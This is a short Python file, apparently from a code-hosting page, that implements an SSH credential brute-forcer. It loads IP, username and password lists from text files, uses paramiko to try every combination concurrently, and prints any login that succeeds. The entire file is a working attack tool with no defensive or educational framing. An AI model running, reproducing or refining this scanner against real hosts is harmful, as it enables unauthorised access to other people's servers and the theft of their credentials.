ym / app.py
cfdlbrz's picture
Update app.py
9427829 verified
import paramiko
import socket
import asyncio
IP_LIST = []
USERNAME_LIST = []
PASSWORD_LIST = []
def read_file_lines(filename):
with open(filename, 'r') as file:
lines = file.readlines()
return [line.strip() for line in lines]
async def test_credentials(ip, username, password):
client = paramiko.SSHClient()
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
try:
client.connect(ip, username=username, password=password, timeout=5)
print(f"Valid credentials found for IP: {ip}, Username: {username}, Password: {password}")
client.close()
except paramiko.AuthenticationException:
print("نشد")
except socket.error:
print("نشد")
async def scan_ips(ip_list):
tasks = []
for ip in ip_list:
for username in USERNAME_LIST:
for password in PASSWORD_LIST:
tasks.append(test_credentials(ip, username, password))
await asyncio.gather(*tasks)
if __name__ == "__main__":
IP_LIST = read_file_lines("ips.txt")
USERNAME_LIST = read_file_lines("user.txt")
PASSWORD_LIST = read_file_lines("pass.txt")
asyncio.run(scan_ips(IP_LIST))